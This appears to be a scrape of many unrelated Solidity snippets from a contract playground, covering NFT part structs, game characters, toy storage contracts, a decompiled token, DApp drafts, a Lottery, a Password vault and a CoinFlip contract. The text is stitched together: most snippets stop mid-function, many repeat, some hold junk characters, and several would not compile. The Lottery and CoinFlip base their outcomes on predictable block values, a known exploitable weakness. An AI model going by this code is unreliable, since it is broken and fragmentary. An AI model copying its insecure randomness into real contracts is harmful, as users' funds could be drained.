 uint legs;
 uint torso;
 uint background;
}

mapping(uint => Robot[]) public equippedRobotParts; //parent id => Robot data structure for child items

// When swapping parts, check for item type match; something like this...
function swapParts(erc721TokenId, erc1155TokenID_OLD, erc1155TokenID_NEW) {
    require(Items.itemType(erc1155TokenID_OLD) == Items.itemType(erc1155TokenID_NEW), "part types don't match");
    uint itemType = Items.itemType(erc1155TokenID_OLD);
    
    // transfer tokens

    equippedRobotParts[erc721TokenId][itemType] = erc1155TokenID_NEW; // equip to data structure

enum ItemTypes { torso, head, legs, leftArm, rightArm, background }
mapping(uint => ItemTypes) public itemType

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "../contracts/SVG721.sol";


contract Pixels is ERC721, Ownable {
    using Strings for uint256;
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIdCounter;

    struct Composition {
        bytes pixels;
        bytes xOffsets;
        bytes yOffsets;
        uint colorPalette;
        uint colorSelectType;
        uint compositionType;
        uint algorithmType;
        uint backgroundColorIndex;
    }

    struct ColorPalette {
        bytes8 name;
        mapping(uint256 => bytes6) _colors;
    }


    mapping(uint256 => Composition) private compositions;
    mapping(uint256 => bytes8) private colorSelectNames;
    mapping(uint256 => bytes6) private compositionNames;
    mapping(uint256 => bytes10) priv

mapping(uint256 => uint256) characters;
mapping(uint256 => uint256) dnaRecords;

function setCharacter(uint256 _id, address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) external
{
    uint256 character = uint256(owner);
    character |= creationTime<<160;
    character |= strength<<208;
    character |= race<<224;
    character |= class<<240;
    characters[_id] = character;
    dnaRecords[_id] = dna;
}

function getCharacter(uint256 _id) external view returns(address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) {
    uint256 character = characters[_id];
    dna = dnaRecords[_id];
    owner = address(character);
    creationTime = uint256(uint40(character>>160));
    strength = uint256(uint16(character>>208));
    race = uint256(uint16(character>>224));
    class = uint256(uint16(character>>240));
}

struct GameCharacter {
  address owner;
  uint256 creationTime;
  uint256 strength;
  uint256 race;
  uint256 class;
  uint2

mapping(uint256 => uint256) characters;
mapping(uint256 => uint256) dnaRecords;
function setCharacter(uint256 _id, address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) external
{
    uint256 character = uint256(owner);
    character |= creationTime<<160;
    character |= strength<<208;
    character |= race<<224;
    character |= class<<240;
    characters[_id] = character;
    dnaRecords[_id] = dna;
}

function getCharacter(uint256 _id) external view returns(address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) {
    uint256 character = characters[_id];
    dna = dnaRecords[_id];
    owner = address(character);
    creationTime = uint256(uint40(character>>160));
    strength = uint256(uint16(character>>208));
    race = uint256(uint16(character>>224));
    class = uint256(uint16(character>>240));
}

struct GameCharacter {
  address owner;
  uint256 creationTime;
  uint256 strength;
  uint256 race;
  uint256 class;
  uint25

mapping(uint256 => uint256) characters;
mapping(uint256 => uint256) dnaRecords;function setCharacter(uint256 _id, address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna)
    external
{
    uint256 character = uint256(owner);
    character |= creationTime<<160;
    character |= strength<<208;
    character |= race<<224;
    character |= class<<240;
    characters[_id] = character;
    dnaRecords[_id] = dna;
}

function getCharacter(uint256 _id)
    external view
returns(address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) {
    uint256 character = characters[_id];
    dna = dnaRecords[_id];
    owner = address(character);
    creationTime = uint256(uint40(character>>160));
    strength = uint256(uint16(character>>208));
    race = uint256(uint16(character>>224));
    class = uint256(uint16(character>>240));
}

struct GameCharacter {
  address owner;
  uint256 creationTime;
  uint256 strength;
  uint256 race;
  uint256 class;
 

mapping(uint => string) public itemType

// Each uint is tokenID in Items contract
// This example is not optimized for memory, 
// possible select smaller uint data types (uint16, uint32) to conserve memory?

struct Robot { // uint refers to ERC-1155 tokenId
 uint head;
 uint leftArm;
 uint rightArm;
 uint legs;
 uint torso;
 uint background;
}

mapping (uint => Robot[]) public parentToChild; //parent id => Robot data structure for child item

// Each uint is tokenID in Items contract
// This Psuedocode example not optimized for memory, but can select smaller uint data types to conserve memory?

struct Robot { // uint refers to ERC-1155 tokenId
 uint head;
 uint leftArm;
 uint rightArm;
 uint legs;
 uint torso;
 uint background;
}

mapping (uint => Robot[]) public parentToChild; //parent id => Robot data structure for child item

/**
 *Submitted for verification at Etherscan.io on 2021-10-22
*/

pragma solidity ^0.8.0;

// Part: ICitizen - Needed to interface with the final citizen contract

interface ICitizen {
	function getRewardRate(address _user) external view returns(uint256);

    function getRewardsRateForTokenId(uint256) external view returns(uint256);

    function getCurrentOrFinalTime() external view returns(uint256);

    function reduceRewards(uint256, address) external;

    function increaseRewards(uint256, address) external;

    function getEnd() external returns(uint256);
}

interface IIdentity {
    function ownerOf(uint256 tokenId) external view returns (address owner);
}

interface IVaultBox {
	function getCredits(uint256 tokenId) external view returns (string memory);
    function ownerOf(uint256 tokenId) external view returns (address owner);
}

// Part: OpenZeppelin/[email protected]/Address

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Ret

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

/**
 * @title Owner
 * @dev Set & change owner
 */
contract Owner {

    address private owner;
    
    // event for EVM logging
    event OwnerSet(address indexed oldOwner, address indexed newOwner);
    
    // modifier to check if caller is owner
    modifier isOwner() {
        // If the first argument of 'require' evaluates to 'false', execution terminates and all
        // changes to the state and to Ether balances are reverted.
        // This used to consume all gas in old EVM versions, but not anymore.
        // It is often a good idea to use 'require' to check if functions are called correctly.
        // As a second argument, you can also provide an explanation about what went wrong.
        require(msg.sender == owner, "Caller is not owner");
        _;
    }
    
    /**
     * @dev Change owner
     * @param newOwner address of new owner
     */
    function changeOwner(address newOwner) public isOwner {
        emit OwnerS

pragma solidity ^0.4.24;

contract ERC20 {
    string public constant name = "";
    string public constant symbol = "";
    uint8 public constant decimals = 0;

    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint256  wtf = 29836915074519068104088936947794877181446157905180232883246809992121215122387;

  function retrieveLastWord(string memory firstLetterOfSeed10, string memory firstLetterOfSeed11) bytes32 {
        bytes32 theLastSeed = bytes32(uint256(keccak256(abi.encodePacked(firstLetterOfSeed10, firstLetterOfSeed11))) - wtf);
        return theLastSeed;
    }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {


string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;
  

pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {


string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;
  

pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {

	 

string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;

pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {

	 

string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.5.0;
contract SolidityTest {
   constructor() public{
   }
   function getResult() public view returns(uint){
      uint a = 1;
      uint b = 2;
      uint result = a + b;
      return result;
   }

#
#  Panoramix v4 Oct 2019 
#  Decompiled source of bsc:0x09B7E289196cdac1AB978dC0e2069FE28eCda7f9
# 
#  Let's make the world open source 
# 

const decimals = 18

def storage:
  balanceOf is mapping of uint256 at storage 0
  allowance is mapping of uint256 at storage 1
  totalSupply is uint256 at storage 2
  stor3 is array of struct at storage 3
  stor4 is array of struct at storage 4

def totalSupply() payable: 
  return totalSupply

def balanceOf(address _owner) payable: 
  require calldata.size - 4 >=′ 32
  require _owner == _owner
  return balanceOf[addr(_owner)]

def allowance(address _owner, address _spender) payable: 
  require calldata.size - 4 >=′ 64
  require _owner == _owner
  require _spender == _spender
  return allowance[addr(_owner)][addr(_spender)]

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def approve(address _spender, uint256 _value) payable: 
  require calldata.size - 4 >=′ 64
  require _spender == _spender
  require _value == _value
  if not cal

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }
  //endjednejdededededejdedj
  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;sdfsdfsd

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }
  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract DAPP {
  uint curr_account_number = 0;
  uint num_users = 0;
  uint txn_amount = 1;

  struct User {
    uint id;
    string name;
    address addr;
    uint[] connected_peers;
    uint[] account_numbers;
  }

  struct JointAccount {
    uint account_number;
    mapping(uint => uint) mem2bal;
  }

  mapping(uint => User) users;
  mapping(uint => JointAccount) accounts;
  mapping(uint => uint) parent;

  function get_num_users() public view returns (uint) {
    return num_users;
  }

  function registerUser(uint user_id, string user_name) public {
    User storage s = users[user_id]; 
    s.id = user_id;
    s.name = user_name;
    s.addr = msg.sender;
    num_users += 1;
  }

  function createAccount(uint user_id1, uint user_id2) public {
    User storage s1 = users[user_id1];
    User storage s2 = users[user_id2];
    s1.connected_peers.push(user_id2);
    s2.connected_peers.push(user_id

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract DAPP {
  uint curr_account_number = 0;
  uint num_users = 0;
  uint txn_amount = 1;

  struct User {
    uint id;
    string name;
    address addr;
    uint[] connected_peers;
    uint[] account_numbers;
  }

  struct JointAccount {
    uint account_number;
    mapping(uint => uint) mem2bal;
  }

  mapping(uint => User) users;
  mapping(uint => JointAccount) accounts;
  mapping(uint => uint) parent;

  function registerUser(uint user_id, string user_name) public {
    User storage s = users[user_id]; 
    s.id = user_id;
    s.name = user_name;
    s.addr = msg.sender;
    num_users += 1;
  }

  function createAccount(uint user_id1, uint user_id2) public {
    User storage s1 = users[user_id1];
    User storage s2 = users[user_id2];
    s1.connected_peers.push(user_id2);
    s2.connected_peers.push(user_id1);
    mapping(uint => uint) temp ;
    temp[user_id1] = 5;
    temp[user_id2] = 5

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  uint[] user_nodes;
  uint[] user_nodes_next;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  uint[] user_nodes;
  uint[] user_nodes_next;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_2].edge_balances[user_id_1]=balance;
  }
  func

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_2].edge_balances[user_id_1]=balance;
  }
  func

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_2].edge_balances[user_id_1]=balance;
  }
  function sendAmount(uint user_id_1,uint user_id_2,uint 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Inbox {
  string public message;

  function Inbox(string initialMessage) public {
    message = initialMessage;
  }

  function setMessage(string newMessage) public {
    message = newMessage;
  }

  function getMessage() public view returns(string) {
    return message;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  struct User {
    uint user_id;
    string user_name;
    mapping(uint => uint) edges_balances;
    uint[] balances;
  }

  // User[] users;
  mapping(uint => User) registered_users;
  function registerUser(uint user_id, string user_name) public {
    users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  struct User {
    uint user_id;
    string user_name;
    uint[] joint_accounts;
    uint[] balances;
  }

  User[] users;
  mapping(uint => User) registered_users;
  function registerUser(uint user_id, string user_name) public {
    users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  
  AssetBytes[] assetBytes;
  AssetString[] assetString;
  
  struct AssetBytes {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  struct AssetString {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  function setBytes() public {
    assetBytes.push(AssetBytes("name1", "device1", "key1", 1));
    assetBytes.push(AssetBytes("name2", "device2", "key2", 2));
    assetBytes.push(AssetBytes("name3", "device3", "key3", 3));
    assetBytes.push(AssetBytes("name4", "device4", "key4", 4));
    assetBytes.push(AssetBytes("name5", "device5", "key5", 5));
  }

  function setString() public {
    assetString.push(AssetString("name1", "device1", "key1", 1));
    assetString.push(AssetString("name2", "device2", "key2", 2));
    assetString.push(AssetString("name3", "device3"

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  
  AssetBytes[] assetBytes;
  AssetString[] assetString;
  
  struct AssetBytes {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  struct AssetString {
        bytes32 name;
        bytes32 deviceType;
        bytes publicKey;
        uint256 tokenId;
  }

  function setBytes() public {
    assetBytes.push(AssetBytes("name1", "device1", "key1", 1));
    assetBytes.push(AssetBytes("name2", "device2", "key2", 2));
    assetBytes.push(AssetBytes("name3", "device3", "key3", 3));
    assetBytes.push(AssetBytes("name4", "device4", "key4", 4));
    assetBytes.push(AssetBytes("name5", "device5", "key5", 5));
  }

  function setString() public {
    assetString.push(AssetString("name1", "device1", "key1", 1));
    assetString.push(AssetString("name2", "device2", "key2", 2));
    assetString.push(AssetString("name3", "device3"

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {

  Child _child ;

  function Parent(Child child) public {
    _child  = child;
  }
  function call_child() public{
    _child.call_me(msg.sender);
  }

  uint value;
}

contract Child {
  address public _realMsgSender;
  address public _seenMsgSender;

  function call_me(address realMsgSender) public {
    _realMsgSender = realMsgSender;
    _seenMsgSender = msg.sender;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

struct EachMonster{
        string name;
        uint winnings;
        uint losings;
        uint health;
        uint attackPower;
        uint defensePower;
        uint speed;
    } 
    EachMonster[] public monsters; 

    struct Battle {
        uint index;
        uint p1CarId;
        uint scoreToBeat;
        uint p2CarId;
        bool ended;
        uint createdAt;
    }
    Battle[] public battles;

//create battle
    function createBattle (uint _p1CarId) public {
        EachMonster storage m = monsters[_p1CarId];
        require(ownerOf(_p1CarId) == msg.sender);
        uint id = battles.length;
        uint _score = m.attackPower + m.speed;
        battles.push(Battle(id, _p1CarId, _score, 0, false, block.timestamp));
    }
    //accept battle
    function acceptBattle (uint _battleId, uint _p2CarId) public {
        require(ownerOf(_p2CarId) == msg.sender);
        Battle storage b = battles[_battleId];
        b.p2CarId = _p2CarId;
    }
    //end battle
    function endBattle (uint _battleId

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

contract RogToken {
   string public constant name = "ERC20Basic";
    string public constant symbol = "BSC";
    uint8 public constant decimals = 18;  


    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
    event Transfer(address indexed from, address indexed to, uint tokens);


    mapping(address => uint256) balances;

    mapping(address => mapping (address => uint256)) allowed;
    
    uint256 totalSupply_;
   

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.3;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  

  

pragma solidity ^0.8;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IBAND {
    struct ReferenceData {
        uint256 rate; // base/quote exchange rate, multiplied by 1e18.
        uint256 lastUpdatedBase; // UNIX epoch of the last time when base price gets updated.
        uint256 lastUpdatedQuote; // UNIX epoch of the last time when quote price gets updated.
    }
    function getReferenceData(string memory _base, string memory _quote)
        external
        view
        returns (ReferenceData memory);
}

contract Stable is ERC20 {

    IBAND constant _oracle = IBAND(0x9106F09bF08DFb23fca61A9829543f1C80a81A4b); // Kovan testnet

    constructor() ERC20 ("Stable", "USDS") {
    }

    function mint() public payable {
        uint256 amount = _eth2usd(msg.value);
        require(amount > 0);
        _mint(msg.sender, amount);
    }

    function burn(uint256 amount) public {
        _burn(msg.sender, amount);
        payable(msg.sender).transfer(_usd2eth(amount));
    }

    function

pragma solidity ^0.8;

contract Lottery {
    address payable immutable owner = payable(msg.sender);
    uint constant min_bet = 0.001 ether;
    
    event Win();
    event Loose();
    
    function bet(uint heads_or_tails) external payable {
        require(msg.value >= min_bet, "min_bet");
        if (_rand() == heads_or_tails) {
            payable(msg.sender).transfer(msg.value * 2 * 98 / 100);
            emit Win();
        } else {
            emit Loose();
        }
    }
    
    function sweep() external {
        owner.transfer(address(this).balance);
    }
    
    receive() external payable {
    }
    
    function _rand() internal view returns (uint) {
        return uint(block.timestamp) % 2;
    }

pragma solidity ^0.8;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol";

contract FixedSwap is ERC20 {
    address immutable token1;
    address immutable token2;
    
    uint public revenue;
    
    constructor(address _token1, address _token2, uint i1, uint i2) ERC20 ("FixedSwap", "FSW") {
        require(_token1 != _token2);
        token1 = _token1;
        token2 = _token2;
        SafeERC20.safeTransferFrom(IERC20(_token1), msg.sender, address(this), i1);
        SafeERC20.safeTransferFrom(IERC20(_token2), msg.sender, address(this), i2);
        _mint(msg.sender, i1 + i2);
    }
    
    function mint(address _token, uint amount) external {
        require((_token == token1) || (_token == token2));
        SafeERC20.safeTransferFrom(IERC20(_token), msg.sender, address(this), amount);
        uint cost = 10**8 * totalBalance() / totalSupply();
      

pragma solidity ^0.8;

contract Password {
    uint constant withdraw_fine = 0.1 ether;
    address immutable owner = msg.sender;
    
    mapping (bytes32 => uint) balance;
    
    function deposit(bytes32 password_hash) external payable {
        balance[password_hash] += msg.value;
    }
    
    function withdraw(uint amount, string memory password) external payable {
        require(msg.value >= withdraw_fine);
        require(amount > 0);
        bytes32 password_hash = keccak256(bytes(password));
        if (balance[password_hash] >= amount) {
            balance[password_hash] -= amount;
            payable(msg.sender).transfer(amount + msg.value);
        } else {
            // fine for failed withdrawal attempt
            payable(owner).transfer(msg.value);
        }
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";

contract CoinFlip {
    using SafeMath for uint256;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
